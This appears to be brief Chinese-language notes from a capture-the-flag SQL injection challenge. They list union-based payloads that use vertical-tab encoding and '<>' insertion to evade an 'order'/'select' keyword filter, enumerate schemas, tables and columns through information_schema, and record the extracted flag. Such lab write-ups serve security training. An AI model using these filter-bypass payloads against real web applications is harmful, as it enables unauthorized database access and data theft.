SQL

-1 # 发现成功了

• 用ord<>er by 3和4测试，3成功。
• 用union sele<>ct 1,2,3 出2

/index.php?id=0%0Bunion%0Bsele<>ct%0B1,group_concat(schema_name),3%0Bfrom%0Binformation_schema.schemata 
information_schema,sqli


/index.php?id=0%0Bunion%0Bsele<>ct%0B1,group_concat(table_name),3%0Bfrom%0Binformation_schema.tables%0bwhere%0btable_schema='sqli' 
info,users


/i  ndex.php?id=0%0Bunion%0Bsele<>ct%0B1,group_concat(column_name),3%0Bfrom%0Binformation_schema.columns%0bwhere%0btable_name='info'  
info 表： id,title,flAg_T5ZNdrm

/index.php?id=0%0Bunion%0Bsele<>ct%0B1,group_concat(column_name),3%0Bfrom%0Binformation_schema.columns%0bwhere%0btable_name='users'  

users表;id,username,flag_9c861b688330


flAg_T5ZNdrm  flag{7d5d2ba8-34ba-46a9-85eb-b79c0a9e8007},test

• 注意观察怎么绕过order select过滤